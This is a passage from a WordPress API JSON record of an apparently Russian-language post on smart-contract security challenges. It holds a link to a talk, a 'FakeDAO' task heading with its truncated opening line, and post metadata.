\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043d\u0430 \u043d\u0443\u043b\u0435\u0432\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0435 (<a href=\"https:\/\/youtu.be\/QuJ414XJA14?list=PL-PDZMPQHOz9__o8K1lMAlQXr1RjXu6wS&amp;t=1382\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0432 \u0442\u043e\u043c \u0436\u0435 \u0434\u043e\u043a\u043b\u0430\u0434\u0435<\/a>)<\/p>\n<h2>3. FakeDAO<\/h2>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>In the very first version of the DAO community,<\/p>\n<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-378226","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/378226","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=378226"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/378226\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=378226"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=378226"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=378226"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}